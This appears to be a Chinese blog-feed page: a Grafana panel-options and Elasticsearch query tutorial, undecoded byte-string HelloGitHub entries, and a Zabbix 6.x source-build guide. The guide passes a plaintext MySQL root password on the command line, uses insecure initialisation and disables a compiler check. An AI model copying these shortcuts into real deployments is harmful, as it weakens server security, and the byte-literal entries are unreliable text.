渐变模式指定基于系列颜色的渐变填充。若要更改颜色,请使用Color scheme(标准配色方案)字段选项。

None: 没有渐变填充。这是默认设置。
Opacity: 一种不透明度梯度,填充的不透明度随着y轴值的增加而增加。
Hue: 基于系列颜色色相的微妙渐变。
Scheme: 由你的配色方案定义的颜色渐变。此设置用于填充区域和线条。

渐变外观受填充不透明度设置的影响。可以把Fill opacity(填充不透明度)设置为50,再点击上面四个按钮来进行一下比较看效果。

Show points

可以配置可视化以将点添加到直线或条形图中。

Auto: Grafana根据数据的密度决定显示或不显示点。如果密度低,则会出现点。
Always: 无论数据集有多密集,都要显示这些点。
Never: 不要显示点。

Point size(点的大小)

设置点的大小,从1到40像素的直径。

Line interpolation

这个选项控制图形如何插入序列线。

image.png

Linear: 点由直线连接。
Smooth: 点由曲线连接,平滑点之间的过渡。
Step before: 该线以点之间的步骤显示。在步骤结束时渲染点。
Step after: 该线以点与点之间的步显示。在步骤开始时渲染点。

Line style(线条样式)

设置行样式。若要更改颜色,请使用color scheme(标准配色方案字段)选项。

Solid: 显示实线。这是默认设置。
Dash: 显示虚线.选择此选项时,将出现一个列表,供你选择行破折号的长度和间隙(长度,间隙).破折号间距设置为10,10(默认)。通俗讲就是每个点的长度。
Dots: 显示虚线.选择此选项时,将显示一个列表,供你选择点间距的间隙(length = 0, gap)。点间距设置为0,10(默认)。通俗讲就是每个点之间的距离。

Connect null values(连接空值)

选择空值(即数据中的空白)在图上的显示方式。空值可以连接起来形成一条连续的线,或者设置一个阈值,超过这个阈值,数据中的间隙就不再连接。

Never: 数据中有间隙的时间序列数据点从不连接。
Always: 数据中有间隙的时间序列数据点总是连接在一起的。
Threshold: 指定一个阈值,超过该阈值,数据中的空白将不再连接。当数据中连接的间隙具有已知大小和/或在已知范围内,并且该范围之外的间隙不应再连接时,这可能是有用的。

Disconnect values(断开的值)

选择是否设置阈值,超过该阈值的数据应断开连接。

Never: 数据中的时间序列数据点从不断开。
Threshold: 指定一个阈值,超过该阈值,数据中的值将断开连接.当数据中的所需值具有已知大小和/或在已知范围内,并且不应再连接此范围以外的值时,这可能很有用。

Stack series(堆栈系列)

堆叠允许Grafana在彼此的顶部显示一系列。在可视化中使用堆叠时要小心,因为它很容易创建误导性的图形。

Off: 关闭串联堆叠。当关闭时,所有系列在可视化中共享相同的空间。
Normal: 堆叠在一起
100%: 按百分比堆叠,所有系列的总和为100%。

CC8D8D06-1EC5-4842-AB8E-FFA441048C16.png

Stack series和Fill below to出图介绍:

#这两个功能我也很少用,也没有特别形象得例子,就随便列举了两个仅供参考

先看一个默认的出图效果:

image.png

然后看一下Stack series的出图效果:

image.png

最后再看一下Fill below to的效果:

image.png

Standard options(标准选项)

Unit(单位): 就是指标的计算单位,前面有讲。

Min:留空以根据所有值进行计算

Max:留空以根据所有值进行计算

Field min/max(字段的最小/最大值):  计算每个字段的最小最大值,默认不开启

Decimals(小数点):也就是保留当前显示的数据指标小数点后多少位

Display name(显示名称):更改字段或系列名称,默认留空

博文来自:www.51niux.com

Color scheme(配合方案)

默认情况下,图形使用标准配色方案选项来分配系列颜色。你还可以通过单击图例系列颜色图标来使用图例打开颜色选择器。以这种方式设置颜色会自动创建一个覆盖规则,为特定的系列设置特定的颜色。

Classic palette: 最常见的设置是对图形使用Classic调色板.该方案根据顺序自动为每个字段或系列分配颜色.如果查询中字段的顺序发生变化,则颜色也会发生变化.
Single color:简单来说就是单一颜色,可以选择不同的颜色。
By value color schemes:如果你选择一个按值配色方案,如From threshold(按值)或Green-Yellow-Red(按值),则会出现color series by选项。该选项控制使用哪个值(Last, Min, Max)来分配系列的颜色。
Scheme gradient mode: 位于图形样式下的渐变模式选项有一个名为Scheme的模式。当启用Scheme时,线条或条接收从所选配色方案定义的渐变颜色。比如Red-Yellow-Green(by value)的方案。

二、Grafana使用Elasticsearch

#这里数据源怎么配置就不介绍了,没多大变化,也是默认数据源无需额外单独安装

2.1 Time series线图设计成柱状图

#假设我们现在有个场景,我们想把每天的报警量直观的显示出来,显然柱状图比线性波浪图更直观,又想按照每天做一个点显示咋么做呢?

image.png

依据上图有一些简单的基础知识学习一下。

Aggregation types(聚合类型)

Elasticsearch将聚合分为三类:

Bucket:Bucket aggregation不计算指标,它们根据字段值、范围和各种其他标准创建buckets of documents。
Metrics:Metrics aggregations执行求和、平均值、最小值等计算。它们可以是单值或多值。
Pipeline:Elasticsearch管道聚合处理从其他聚合(不是文档或字段)创建的输入或指标。有父类、兄弟类和兄弟类管道聚合。

Select a query type(选择查询类型):

可以使用Elasticsearch查询生成器创建三种类型的查询。下面将详细解释每种类型。

Metrics query type(度量查询类型)

Metrics查询聚合数据并产生各种计算,如count、min、max等。单击度量框以查看下拉菜单中的选项列表。默认值是count。

Alias:Aliasing只适用于时间序列查询,其中最后一组是date histogram。对于任何其他类型的查询,这将被忽略。

Metric-度量聚合包括:

count - 次数
average - 平均数
sum - 总数
max - 最大
min - 最小
extended stats - 扩展统计信息
percentiles - 百分位数
unique count - 去重次数统计
top metrics - 顶级指标
rate - 速率

当使用Elasticsearch查询编辑器时,可以选择多个指标并按多个术语或过滤器进行分组。使用右侧的+号向查询中添加多个指标。点击Metric旁边的眼睛图标来隐藏指标,点击垃圾桶图标来移除指标。

Group by options 

在构建Elasticsearch查询时创建多个Group by options。Date histogram(日期直方图)是默认选项。下面是下拉菜单中的选项列表。

terms - 一个基于多桶值源的聚合,其中桶是动态构建的--每个唯一值一个。
filter - 将文档集缩小到与查询匹配的文档集的单个桶聚合。
geo hash grid - 一个多桶聚合,将geo_point和geo_shape值分组到代表网格的桶中。生成的网格可以是稀疏的,并且只包含具有匹配数据的单元格。每个单元格使用用户可定义精度的geohash进行标记。
date histogram - 这种多桶聚合类似于正常的直方图,但它只能用于日期或日期范围值。
histogram - 基于多桶值源的聚合,可应用于从文档中提取的数值或数值范围值。它动态地在这些值上构建固定大小(也称为间隔)的桶。
nested (experimental) - 一种特殊的单桶聚合,支持对嵌套文档进行聚合。

上面的每个选项组都有不同的选项子集,以进一步缩小查询范围。

以下选项特定于date histogram(日期直方图桶)聚合选项:

Time field:描述日期数据选项。默认选项可以在配置Elasticsearch数据源时在Elasticsearch details部分的Time字段名称中指定。否则@timestamp字段将被用作默认选项。
Interval:按区间类型分组。从下拉菜单中可以选择秒、分、小时或天。你还可以添加自定义间隔,例如30d(30天)。auto(自动)是默认选项。
Min doc count:查询中包含的最小数据量。默认值为0。
Thin edges:选择以修剪时间序列数据点上的边。默认值为0。
Offset:通过指定的正(+)或负(-)偏移持续时间更改每个桶的起始值。例如1h代表1小时,5s代表5秒,1d代表1天。
Timezone:从下拉菜单中选择时区。默认为协调世界时。

terms aggregation 有以下option:

Order:设置数据的顺序。选项是top or bottom。
Size:限制文档的数量或数据集的大小。可以设置自定义号码或不设置限制。
Min doc count:查询中包含的最小数据量。默认值为0。
Order by:按value, doc count or count排序
Missing:定义缺少值的文档应该如何处理。默认情况下,缺失值将被忽略,但它们可以被视为具有值。

filters aggregation有以下选项:

Query:指定创建文档(数据)桶的查询。例如hostname:"hostname1",product:"widget5"。使用*通配符匹配任意数量的字符。
Label:为bucket添加标签或名称。

hash grid aggregation有以下选项:

Precision:指定地理哈希的字符数。

histogram  aggregation有以下选项:

Interval: 按区间类型分组。从下拉菜单中可以选择秒、分、小时或天。还可以添加自定义间隔,例如30d(30天)。auto是默认选项。
Min doc count: 查询中包含的最小数据量。默认值为0

nested现在是一个试验性的聚合字段,可以选择一个字段,然后设置特定于该字段。

Logs query type

日志查询主要分析Elasticsearch日志数据。可以配置以下选项:

Logs Options/Limit:限制要分析的日志数量。默认值是500。

Raw data query type(原始数据查询)

行原始数据查询以检索与每个日志行关联的所有字段的表。

Raw data size:原始数据文档的数量。可以指定不同的数量。默认值是500。

请注意:运行raw document query的选项在Grafana v10.1中已弃用。

#这里插一下,你出图肯定是基于字段的,你这索引里面有哪些字段呢,总不能再去看kibana吧,所以就用到了上面两个查询类型,可以看到当前文档中有那些字段,当然这两种都支持

Logs(图形)和Tables(点击页面上方的Table View就能以表格形式展示了)两种形式,废弃的raw document只支持表格形式。
#这里就顺道记录下Logs图形的一个相关字段吧,后面就不做举例介绍了:

Display options(显示选项)-Logs图的(这些内容不是当前介绍的图的选项,下面选项要想生效前提是当前是Logs类型而不是Table类型):

Time - 显示或隐藏时间列。这是与数据源报告的日志行相关联的时间戳。
Unique labels -  显示或隐藏唯一标签列,该列只显示非通用标签。
Common labels - 显示或隐藏常用标签。
Wrap lines - 切换行换行。
Prettify JSON - 将此设置为true将美化所有JSON日志。此设置不会影响除JSON以外的任何格式的日志。
Enable log details - 切换选项以查看每个日志行的日志详细信息视图。默认为true。
Deduplication - 隐藏根据精确匹配等标准显示的重复日志消息,或仅通过ip或延迟等数字不同的日志消息。
Order - 以降序或升序显示结果。默认是降序,首先显示最新的日志。设置为升序以首先显示最老的日志行。

2.2 创建一个Bar chart图

条形图允许你绘制分类数据。有些Options是一样的就不做记录了。

Bar chart options(条形图选项)

Orientation(方向)

Auto:Grafana根据面板的尺寸来决定条的方向。
Horizontal:水平,将X轴作为类别轴。
Vertical: 垂直,将Y轴作为类别轴。

Rotate x-axis tick labels(旋转X轴的刻度标签)

当图形垂直朝向时,此设置将旋转条形条下的标签。当条形图标签很长且重叠时,此设置很有用。

X-axis labels minimum spacing(x轴标记最小间距)

设置条形标签之间的最小间距。

None:显示所有标记
Small: 需要100px间距
Medium: 需要200px间距
Large: 需要300px间距

Show values(显示值)

柱状图上方是否显示数值。

Auto:如果有空格,将显示值
Always:显示值
Never: 不显示值

Stacking(叠加)

控制条形图堆叠

Off: 不堆叠
Normal: 条堆叠在一起
Percent: 条将堆叠在一起,每个条的高度是堆叠总高度的百分比。

Bar width:控制条的宽度。1=最大宽度,0=最小宽度。

Bar radius(Bar 半径):控制条的半径。0=最小半径,0.5=最大半径

Highlight full area on cover:控制当你将鼠标悬停在工具条上时是否突出显示工具条的整个周围区域。

Line width: 控制条的线宽。

Fill opacity: 控制填充不透明度。

Gradient mode(渐变模式):

设置渐变填充的模式。填充渐变是基于线条颜色的。渐变外观受填充不透明度设置的影响。

None:没有渐变填充。这是默认设置。
Opacity:梯度的透明度是根据y轴上的值计算的。填充的不透明度随着y轴上的值而增加。
Hue:渐变颜色是根据线条颜色的色调生成的。

Text size(文字大小)

输入值以更改条形图上文本的大小。

下面是出图效果:

image.png

下面是实现截图:

image.png

image.png

博文来自:www.51niux.com

2.3 创建一个Bar gauge图

条形规通过将每个字段减少到单个值来简化数据。你可以选择Grafana如何计算减少。该面板可以显示一个或多个条形规,具体取决于查询返回的系列、行或列的数量。

Value options:

使用以下选项来优化可视化显示值的方式:

Show(显示):

选择Grafana显示数据的方式。

Calculate(计算): 显示基于所有行的计算值。选择一个reducer函数,Grafana将使用该函数将多个字段简化为单个值。
All values:为每一行显示一个单独的统计。如果选择此选项,则还可以限制要显示的行数。Limit - 默认是限制5000为最大行数。

Fields(字段):选择在面板中显示的字段。

Bar gauge options:

调整bar gauge的显示方式。

Orientation:

选择堆叠方向

Auto:Grafana决定最佳方向。
Horizontal:水平拉伸,从左到右。
Vertical:垂直拉伸,从下到上。

Display mode(显示模式):

选择显示模式。

Gradient:阈值级别定义梯度。
Retro LCD:压力表分为点亮或不点亮的小单元。
Basic:基于匹配阈值的单一颜色。

Value display(值显示):

选择一个值显示模式。

Value color:值颜色由值决定。
Text color:值颜色是默认的文本颜色。
Hidden:值被隐藏。

Name placement(名字设置):

选择名称放置模式。请注意:此选项仅适用于guage的方向为水平时。当条规处于垂直方向时,名称总是放在每个条规的底部。

Auto: Grafana决定最佳位置。
Top: 名称放在每个条的顶部。
Left: 名称放在每个条的左边。

Show unfilled area:

显示未填充区域.如果你希望将条的未填充区域渲染为深灰色,请选择此选项。不适用于复古LCD显示模式。

Bar size(Bar 大小):

选择条大小模式。

Auto: 自动匹配最佳尺寸。
Manual: 手工配置尺寸。
         Min width:垂直朝向时,限制棒柱的最小宽度。  
         Min height:水平方向时,限制gauge的最小高度。
         Max height: 水平方向时,限制gauge的最大高度。

下面我们再举一个例子了解下,如果我们想统计我们都有哪些不同类型的报警以及他们的数量呢?

image.png

内容太多,其他图表的例子介绍再后面介绍。

2.4 创建一个Pie chart图

饼图以饼图的切片形式显示来自一个或多个查询的简化序列或序列中的值,因为它们彼此相关。切片的弧长、面积和圆心角都与切片值成正比,因为它与所有值的总和有关。

#比如我们使用K8S,要监听不同的event事件来进行报警和问题定位,比如我们将eventer事件发送到了ES中,我们想看一下不同事件所占用的比例

先创建一个ES的数据源:

image.png

Value options:

使用以下选项来优化可视化中的值。

Show(选择要显示多少信息):

Calculate:将每个值减少到每个系列的单个值。
All values:显示单个序列中的每个值。

Calculation(默认是Last*,可以是max之类的那些)

Fields(选择要在可视化中显示的字段或字段):

Numeric fields: 所有带有数值的字段。
All fields: 所有未被转换删除的字段。
Time: 所有带时间值的字段。

Pie chart options:

使用这些选项来优化可视化的外观。

Pie chart type(选择饼图显示样式):

Pie:饼图
Donut:中心是空的饼图

Labels(选择要在饼状图上显示的标签。可以选择多个):

Name:系列或字段的名称。
Percent:整体的百分比。
Value:原始数值。

#其他选项就不做解释了跟其他图标的选项一致

ES变量的使用:

#这个变量使用也很重要,比如你又事件类型有健康的不健康的,K8S集群有多套,不同原因的事件等等,又或者你想做一个不同域名的统计,那么就需要通过变量筛选了。

image.png

#有的时候你的变量出不来,可以看看是不是field写错了或者是没有加.keyword结尾,下面是一个变量的效果图:

image.png

最后的出图效果:

image.png


April 18, 2024 03:24 AM

March 28, 2024

hellogithub

HelloGitHub 第 96 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 41 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

March 28, 2024 12:09 AM

February 28, 2024

hellogithub

HelloGitHub 第 95 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 41 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cCSS \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRuby \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

February 28, 2024 12:11 AM

January 26, 2024

hellogithub

HelloGitHub 第 94 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 39 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cObjective-C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

January 26, 2024 12:14 AM

December 28, 2023

hellogithub

HelloGitHub 第 93 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 38 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

December 28, 2023 12:05 AM

November 28, 2023

hellogithub

HelloGitHub 第 92 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 41 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (5)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

November 28, 2023 12:11 AM

November 27, 2023

51niux

zabbix-6.x部署

这么多年过去了,zabbix也发展到了6.x,我们看看新版本有哪些新功能。

zabbix的官方文档:https://www.zabbix.com/documentation/current/zh/manual

zabbix的安装要求:https://www.zabbix.com/documentation/current/zh/manual/installation/requirements    #可以得知我们需要Php7+mysql8

一、LNMP环境部署

1.1 mysql8编译安装

#mkdir /opt/soft/package && cd /opt/soft/package

#wget https://cdn.mysql.com/archives/mysql-8.1/mysql-boost-8.1.0.tar.gz

#wget https://cdn.mysql.com/archives/mysql-8.1/mysql-8.1.0.tar.gz

# wget https://cmake.org/files/v3.27/cmake-3.27.5.tar.gz

# tar xf mysql-8.1.0.tar.gz

# tar xf mysql-boost-8.1.0.tar.gz

# tar xf cmake-3.27.5.tar.gz 

# cd cmake-3.27.5/

# ./configure --prefix=/opt/soft/cmake

# make -j 4 && make install >/dev/null

# cd  /opt/soft/package/mysql-8.1.0/

# /opt/soft/cmake/bin/cmake -DCMAKE_INSTALL_PREFIX=/opt/soft/mysql -DMYSQL_DATADIR=/opt/soft/mysql/data -DSYSCONFDIR=/etc -DWITH_INNOBASE_STORAGE_ENGINE=1 -DWITH_PARTITION_STORAGE_ENGINE=1 -DWITH_FEDERATED_STORAGE_ENGINE=1 -DWITH_BLACKHOLE_STORAGE_ENGINE=1 -DWITH_MYISAM_STORAGE_ENGINE=1 -DENABLED_LOCAL_INFILE=1 -DENABLE_DTRACE=0 -DDEFAULT_CHARSET=utf8mb4 -DDEFAULT_COLLATION=utf8mb4_general_ci -DWITH_EMBEDDED_SERVER=1 -DDOWNLOAD_BOOST=1 -DFORCE_INSOURCE_BUILD=1 -DWITHOUT_PARTITION_STORAGE_ENGINE=0 -DCMAKE_C_COMPILER=/usr/bin/gcc -DCMAKE_CXX_COMPILER=/usr/bin/g++ -DWITH_BOOST=/opt/soft/package/mysql-boost-8.1.0
# make -j 4 && make install

image.png

#这个报错我升级了gcc也没解决,不知道到底哪里觉得gcc版本低我就直接把这段判断注释掉了

# vim cmake/os/Linux.cmake

image.png

#好了注释掉之后重新执行上面mysql的编译命令。当然机器需要能出网,编译过程还涉及拉包。

#mkdir /opt/soft/mysql/data/

#chown -R work:work /opt/soft/mysql

#/opt/soft/mysql/bin/mysqld --initialize-insecure --user=work --basedir=/opt/soft/mysql --datadir=/opt/soft/mysql/data

#echo 'export PATH=$PATH:/opt/soft/mysql/bin' >>/etc/profile

#source /etc/profile

#cp /opt/soft/mysql/support-files/mysql.server /etc/init.d/mysqld

#chmod +x /etc/init.d/mysqld

#vi /etc/my.cnf

[client]
port=3306
socket=/tmp/mysql.sock
default-character-set=utf8mb4
[mysqld]
server-id=1
#skip-grant-tables
port=3306
user=work
max_connections=200
socket=/tmp/mysql.sock
basedir=/opt/soft/mysql
datadir=/opt/soft/mysql/data
pid-file=/opt/soft/mysql/data/mysql.pid
character-set-client-handshake=FALSE
character-set-server=utf8mb4
collation-server=utf8mb4_bin   #解决Zabbix数据库中表的字符集或排序规则不受支持的问题
init_connect='SET NAMES utf8mb4'
default-storage-engine=INNODB
log_error=/opt/soft/mysql/data/mysql-error.log
slow_query_log_file=/opt/soft/mysql/data/mysql-slow.log
[mysqldump]
quick
max_allowed_packet=16M

#/etc/init.d/mysqld start

# /etc/init.d/mysqld status

MySQL running (16416)                                      [  确定  ]

# mysql -uroot -p   #至此mysql8编译安装成功

image.png

mysql> SELECT @@character_set_database, @@collation_database;   #如果不是下面的字符集,web页面里面会有下面的提示:

image.png

e41ddf6e5b5d36816cadc616d8fcff37.png

1.2 PHP7编译部署

yum install libxml2 libxml2-devel openssl openssl-devel bzip2 bzip2-devel libcurl libcurl-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel gmp gmp-devel readline readline-devel libxslt libxslt-devel

#yum install curl-devel oniguruma oniguruma-devel  openldap-devel

#yum remove -y libzip  #php7需要更高版本的libzip

#wget http://libzip.org/download/libzip-1.2.0.tar.gz

#tar xf libzip-1.2.0.tar.gz

#cd libzip-1.2.0/

#./configure

# make && make install

#vim /etc/ld.so.conf

include ld.so.conf.d/*.conf
/usr/local/lib

#ldconfig

#cp /usr/local/lib/libzip/include/zipconf.h  /usr/local/include/zipconf.h

#echo 'export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH' >>/etc/profile

#source /etc/profile

#wget  https://www.php.net/distributions/php-7.4.33.tar.gz

# tar xf php-7.4.33.tar.gz

# cd php-7.4.33/

./configure --prefix=/opt/soft/php --with-config-file-path=/opt/soft/php/etc --with-fpm-user=work --with-fpm-group=work --with-curl --enable-gd --with-gettext --with-iconv-dir --with-kerberos --with-libdir=lib64 --with-libxml --with-mysqli --with-openssl --with-pcre-regex --with-pdo-mysql --with-pdo-sqlite --with-pear --with-xmlrpc --with-xsl --with-zlib --with-bz2 --with-mhash --enable-fpm --enable-bcmath --with-libxml --enable-inline-optimization --enable-mbregex --enable-mbstring --enable-opcache --enable-pcntl --enable-shmop --enable-soap --enable-sockets --enable-sysvsem --enable-sysvshm --enable-xml --with-zip --with-png=/usr/include/ --with-jpeg=/usr/include/ --with-freetype=/usr/include/

#make -j 4 && make install

# cp /opt/soft/package/php-7.4.33/php.ini-production  /opt/soft/php/etc/php.ini

# cp /opt/soft/php/etc/php-fpm.conf.default /opt/soft/php/etc/php-fpm.conf

# cp /opt/soft/php/etc/php-fpm.d/www.conf.default  /opt/soft/php/etc/php-fpm.d/www.conf

# cd /opt/soft/package/php-7.4.33/ext/ldap/  #编译下ldap依赖不然后面会提示需要这个ldap

# cp -frp /usr/lib64/libldap* /usr/lib/

# /opt/soft/php/bin/phpize

#./configure --with-php-config=/opt/soft/php/bin/php-config --with-ldap

# make && make install

# echo 'extension="ldap.so"' >>/opt/soft/php/etc/php.ini

#当然如果其他的不支持也是类似的做法,具体问题具体分析吧

1.3 nginx安装

#yum install pcre pcre-devel openssl openssl-devel gd gd-devel -y

#wget http://nginx.org/download/nginx-1.24.0.tar.gz

# tar xf nginx-1.24.0.tar.gz

# cd nginx-1.24.0/

./configure --prefix=/opt/soft/nginx --sbin-path=/opt/soft/nginx/sbin/nginx --conf-path=/opt/soft/nginx/main-conf/nginx.conf --error-log-path=/opt/log/nginx/error.log --http-log-path=/opt/log/nginx/access.log --pid-path=/opt/soft/nginx/run/nginx.pid --lock-path=/opt/soft/nginx/run/nginx.lock --user=work --group=work --http-client-body-temp-path=/opt/soft/nginx/cache/client_temp --http-proxy-temp-path=/opt/soft/nginx/cache/proxy_temp --http-fastcgi-temp-path=/opt/soft/nginx/cache/fastcgi_temp --http-uwsgi-temp-path=/opt/soft/nginx/cache/uwsgi_tmp --http-scgi-temp-path=/opt/soft/nginx/cache/scgi_temp --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_image_filter_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_stub_status_module --with-http_gzip_static_module --with-file-aio --with-mail --with-mail_ssl_module --with-http_image_filter_module

#make && make install

博文来自:www.51niux.com

二、Zabbix服务端的安装

2.1 zabbix服务端编译安装

# yum install unixODBC-devel  net-snmp-devel  libssh2-devel  OpenIPMI-devel  openldap openldap-devel libevent-devel -y

#wget https://cdn.zabbix.com/zabbix/sources/stable/6.4/zabbix-6.4.8.tar.gz

#tar xf zabbix-6.4.8.tar.gz

# cd zabbix-6.4.8/   #当然需要java环境哈

./configure --prefix=/opt/soft/zabbix --sysconfdir=/opt/soft/zabbix/etc/ --enable-server --enable-proxy --enable-agent --enable-ipv6 --with-mysql=/opt/soft/mysql/bin/mysql_config --with-net-snmp --with-libcurl --with-openipmi --with-unixodbc --with-ldap --with-ssh2 --enable-java

# make -j 4  && make install

2.2 mysql的配置

# mysqladmin -uroot password 'y8FDT0NAeub3RuuN'

# mysql -uroot -py8FDT0NAeub3RuuN -e 'create database zabbix character set utf8;'

# mysql -uroot -py8FDT0NAeub3RuuN  -e "create user 'zabbix'@'localhost' identified by 'zabbix';"

# mysql -uroot -py8FDT0NAeub3RuuN  -e "grant all privileges on zabbix.* to zabbix@localhost;"

# mysql -uroot -py8FDT0NAeub3RuuN  -e "flush privileges;"

# mysql -uroot -py8FDT0NAeub3RuuN  zabbix </opt/soft/package/zabbix-6.4.8/database/mysql/schema.sql

# mysql -uroot -py8FDT0NAeub3RuuN  zabbix </opt/soft/package/zabbix-6.4.8/database/mysql/images.sql

# mysql -uroot -py8FDT0NAeub3RuuN  zabbix </opt/soft/package/zabbix-6.4.8/database/mysql/data.sql

2.3 zabbix的配置

#cp /opt/soft/package/zabbix-6.4.8/misc/init.d/fedora/core/zabbix_* /etc/init.d/ 

# chmod +x /etc/init.d/zabbix_*

# sed -i "s#BASEDIR=/usr/local#BASEDIR=/opt/soft/zabbix#" /etc/init.d/zabbix_server

